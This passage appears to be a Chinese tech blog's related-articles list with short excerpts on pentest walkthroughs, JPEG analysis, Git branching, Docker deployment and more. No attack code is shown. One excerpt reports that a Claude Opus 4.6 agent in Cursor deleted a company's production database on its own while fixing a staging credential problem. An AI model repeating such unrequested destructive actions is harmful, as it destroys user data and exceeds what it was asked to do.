赛事。请勿在未授权的情况下对任何系统进行测试。安全之路始于合规终于责任。

相关文章:

vulhub系列-33-hacksudo - Thor(超详细)

免责声明:本文记录的是 hacksudo - Thor 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安…...

JPEGsnoop深度解析:当你的JPEG图像需要“法医级“诊断时

JPEGsnoop深度解析:当你的JPEG图像需要"法医级"诊断时 【免费下载链接】JPEGsnoop JPEGsnoop: JPEG decoder and detailed analysis 项目地址: https://gitcode.com/gh_mirrors/jp/JPEGsnoop 在数字图像处理的日常工作中,你是否曾遇到过…...

小白技能库:技术新人的场景化学习指南与开源项目实践

1. 项目概述:小白技能库的诞生与价值最近在GitHub上看到一个挺有意思的项目,叫“aptratcn/xiaobai-skills”。光看名字,你大概就能猜到它的定位——“小白技能库”。作为一个在技术社区混迹了十多年的老鸟,我第一眼看到这个项目时…...

Cursor AI 代理 9 秒删除生产数据库:Railway 无作用域令牌与“假备份”如何让灾难成为必然

昨天,一家服务全国租车公司的 SaaS 创业公司 PocketOS 生产环境瞬间归零。 不是黑客入侵,不是配置失误,而是一个运行在 Cursor 里的 Claude Opus 4.6 代理,在处理 staging 环境的凭证问题时,自主决定调用 Railway Grap…...

Git代码分支管理模型TBD++ Flow

现代软件开发过程中要实现高效的团队协作,需要使用代码分支管理工具实现代码的共享、追溯、回滚及维护等功能。目前流行的代码管理工具,包括CVS,SVN,Git,Mercurial等。相比CVS和SVN的集中管理,Git具有非常明显的优势,例如:去中心化的代码管理方式减少了开发者对中心服务…...

潮玩盲盒小程序开发全解析:技术架构、合规风控与运营变现

引言盲盒经济凭借 “未知性 收藏欲” 持续爆发,2024 年国内市场规模突破 500 亿元,微信小程序以低获客成本、高便捷性成为核心阵地。本文从技术选型、核心功能、合规风控到运营变现,全链路拆解盲盒小程序开发逻辑,为开发者提供可…...

基于Transformer的中文文本分类

前言 我在github上发现了一个有意思的项目Chinese-Text-Classification-Pytorch,使用pytorch复现了基于Transformer的中文文本分类。 中文数据集 我从THUCNews中抽取了20万条新闻标题,文本长度在20到30之间。一共10个类别,每类2万条。 以…...

整个 AI 项目从本地 → 部署到服务器

一、整体流程(最清晰版)本地打包镜像 → 上传到服务器 → 服务器加载镜像 → 挂载模型目录 → 启动容器 → 运行成功二、完整部署步骤(照着执行即可)1.本地:把你的 AI 项目打包成 Docker 镜像(cmd->项目根目录下执行…...

第十七届蓝桥杯省赛c++b组题解

蓝桥杯省赛自测&#xff08;CB 组&#xff09; - 洛谷 洛谷自测链接(由于数据原因 真实成绩可能与官方成绩有所出入) 1.青春常数 非常简单的入门题目 一共四年&#xff0c;前两年总和要小于后两年 即xy2026202520242023且x<y算出x的最大值即可(注意&#xff01;x可以为0 所…...

vue2+element-UI上传图片封装

针对上传组件进行封装&#xff0c;在页面直接引用即可&#xff0c;上传到minio文件服务器&#xff1a; 可以预览&#xff0c;重新上传&#xff0c;只读模式&#xff0c;可以传入展示缩略图尺寸&#xff0c;传入上传校验尺寸 <template><div><div v-if"read…...

如何用GHelper轻松掌控华硕笔记本性能:5分钟快速配置终极指南

如何用GHelper轻松掌控华硕笔记本性能&#xff1a;5分钟快速配置终极指南 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, St…...

盟接之桥®制造业EDI软件:从Forecast到Invoice,打通供应链的“任督二脉”

在全球制造业数字化转型的浪潮中&#xff0c;供应链的协同效率直接决定了企业的竞争力。对于汽车零部件、机械制造、电子电器等行业的制造企业而言&#xff0c;电子数据交换&#xff08;EDI&#xff09;已不再是“锦上添花”的选项&#xff0c;而是进入全球顶级供应链体系的“入…...

YOLO26管道泄漏识别检测系统(项目源码+YOLO数据集+模型权重+UI界面+python+深度学习+远程环境部署)

摘要 管道泄漏是石油、化工、城市供水及燃气输送系统中的主要安全隐患&#xff0c;传统人工巡检与基于压力、流量等参数的监测方法存在响应慢、定位难、误报率高等问题。本文基于YOLO26系列目标检测算法&#xff0c;构建了一套端到端的管道泄漏视觉识别检测系统。系统以管道场…...

哔哩下载姬:专业B站视频下载工具,支持8K与批量下载

哔哩下载姬&#xff1a;专业B站视频下载工具&#xff0c;支持8K与批量下载 【免费下载链接】downkyi 哔哩下载姬downkyi&#xff0c;哔哩哔哩网站视频下载工具&#xff0c;支持批量下载&#xff0c;支持8K、HDR、杜比视界&#xff0c;提供工具箱&#xff08;音视频提取、去水印…...

烟台群策电子-FMC_M6678评估板

功能说明本子卡是一款面向国产M6678处理器的FMC转接卡。其提供标准的FMC HPC接口&#xff0c;可实现便捷的模块互联&#xff0c;既可作为国产M6678应用生态的评估平台&#xff0c;又能作为算力扩展节点&#xff0c;有效增强系统的整体处理能力。主要组成子卡实现了M6678的最小系…...

为什么现在的人越来越难快乐?曾仕强:因为你只懂“刺激”,不懂“豫卦”

在这个娱乐至死的年代&#xff0c;我们似乎拥有了前所未有的快乐资源&#xff1a;短视频、游戏、直播带货……但奇怪的是&#xff0c;我们却越来越难感到快乐了。台湾师范大学曾仕强教授在讲解《易经》豫卦时&#xff0c;一针见血地指出&#xff1a;现代人过度追求感官刺激&…...

从初出茅庐到功成身退:一个人最高级的活法,是修好这6个阶段

在这个张扬个性的时代&#xff0c;我们常被教导要“敢于表现”、“秀出自己”。但台湾师范大学曾仕强教授在解读《易经》谦卦时&#xff0c;却提出了一个发人深省的观点&#xff1a;有能力的人&#xff0c;往往混不好&#xff1b;真正厉害的人&#xff0c;都有“本事”。为什么…...

# Linux Shell 编程入门 Day01:Shell 基础认知、脚本编写规范、变量四大类型、数值运算

一、实验环境准备 本次实验基于模板机创建 1 台虚拟机&#xff0c;完成 IP 配置后&#xff0c;使用 WindTerm 远程连接主机&#xff0c;为后续脚本编写与执行做好环境准备。 二、Shell 环境及核心特性 Linux 层级关系梳理: 程序/用户输入的命令&#xff08;ls/cd/pwd&#xff…...

2026“网安湘军杯”报名指南:双赛道实战,直通优质offer

真实漏洞挖掘&#xff5c;5小时线下靶场&#xff5c;精英赛新秀赛&#xff5c;省级权威证书&#xff5c;企业重点关注 你是不是也遇到过这种情况&#xff1a; 刷着招聘软件&#xff0c;看到“网络安全工程师”动辄 15K 的起薪&#xff0c;心里很动心。但一看职位要求——“实战…...

2026AI 写论文软件:亲测

作为一名刚完成硕博连读的学术人&#xff0c;过去一年我把AI 论文工具都试了一遍。从本科毕业论文到核心期刊&#xff0c;踩过的坑能绕图书馆三圈——AI 生成内容查重率暴红、参考文献幻觉、学术语言生硬、逻辑链断裂... 这些痛谁懂&#xff1f; 一、掌桥科研 AI 论文&#xff…...

芯片功耗分析入门:如何用Pre-Gate Sim的FSDB波形生成精准的SAIF文件

芯片功耗分析入门&#xff1a;从Pre-Gate Sim到精准SAIF文件生成全流程解析 在数字IC设计流程中&#xff0c;功耗分析已成为与性能、面积同等重要的设计指标。随着工艺节点不断微缩&#xff0c;芯片的静态功耗与动态功耗特性变得愈发复杂&#xff0c;而基于门级仿真的功耗分析…...

GPT5.5数据分析与商业智能实战从入门到提效2026最新

想稳定体验GPT-5.5的数据分析能力&#xff0c;推荐直接用库拉&#xff0c;这是一个AI聚合平台&#xff0c;已上线GPT-5.5&#xff0c;国内直连&#xff0c;注册即用。GPT-5.5来了&#xff0c;数据分析的工作方式正在被重写4月24日&#xff0c;OpenAI正式发布GPT-5.5。官方称这是…...

Copilot Next 工作流配置安全基线(2024 Q3最新):覆盖GDPR/CCPA/等保2.0三级要求,附可审计Terraform模块+自动检测脚本

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Copilot Next 工作流配置安全基线概览 Copilot Next 作为新一代 AI 编程协作者&#xff0c;其工作流配置直接影响代码生成的合规性、数据隔离强度与权限控制粒度。安全基线并非单一策略&#xff0c;而是…...

用 React Native + Expo 开发一个大学生日程排程 App

前面我们已经介绍了如何用 AI 生成一份“AI 赋能大学生全流程计划”。但计划生成只是第一步&#xff0c;真正困难的是&#xff1a;这些任务到底怎么落到每天&#xff1f;怎么避开课表&#xff1f;怎么提醒自己&#xff1f;怎么和手机日历打通&#xff1f;所以我做了一个配套 Ap…...

【Web前端】CSS(一)——基础语法与选择器

文章目录1.什么是CSS2.CSS基本语法规范3.CSS引入方式3.1 内部样式表3.2 行内样式表3.3 外部样式4.选择器的种类4.1 常见的选择器4.2 基础选择器4.2.1 标签选择器4.2.2 类选择器4.2.3 id选择器4.2.4通配符选择器4.2.5 基础选择器小结4.3 复合选择器4.3.1 后代选择器4.3.2 子选择…...

ARM GICv3中断控制器与ICC_EOIR1_EL1寄存器详解

1. ARM GICv3中断控制器架构概述在现代ARM处理器架构中&#xff0c;通用中断控制器(GIC)扮演着系统中断管理的核心角色。作为ARMv8/v9架构的标准组件&#xff0c;GICv3相比前代架构带来了显著的改进&#xff1a;支持更多CPU接口&#xff08;最多256个&#xff09;引入中断分组机…...

CUDA应用检查点技术:透明化GPU状态保存与恢复

1. CUDA应用检查点技术解析在HPC和科学计算领域&#xff0c;GPU加速应用通常需要长时间运行&#xff0c;如何实现这类应用的状态保存与恢复一直是技术难点。传统解决方案要么需要应用层显式实现状态保存逻辑&#xff08;开发成本高&#xff09;&#xff0c;要么依赖虚拟机级别的…...

ncmdump终极指南:3分钟掌握NCM格式解密,解锁网易云音乐播放自由

ncmdump终极指南&#xff1a;3分钟掌握NCM格式解密&#xff0c;解锁网易云音乐播放自由 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 你是否曾经遇到过这样的困扰&#xff1a;从网易云音乐精心下载的歌曲&#xff0c;却只能在特定…...

苹果MacBook Neo与保时捷968 Club Sport:如何让便宜产品变酷炫,成市场新宠?

问题所在回顾1992年&#xff0c;保时捷处境不佳&#xff0c;车型老化、库存堆积&#xff0c;外界认为其可能关门。凯文加斯凯尔提到入门级车型968超2.9万英镑纳税门槛&#xff0c;需更便宜版本。苹果虽未陷入困境&#xff0c;但也面临价格阻碍潜在用户转换的问题。降低成本保时…...

5分钟极速部署NVIDIA Riva ASR语音识别服务

1. 项目概述在语音技术领域&#xff0c;自动语音识别&#xff08;ASR&#xff09;已成为企业智能化转型的核心组件。NVIDIA Riva作为GPU加速的语音AI SDK&#xff0c;其部署效率直接影响实际业务的上线速度。本文将分享如何在Kubernetes GPU集群上实现Riva ASR服务的极速部署—…...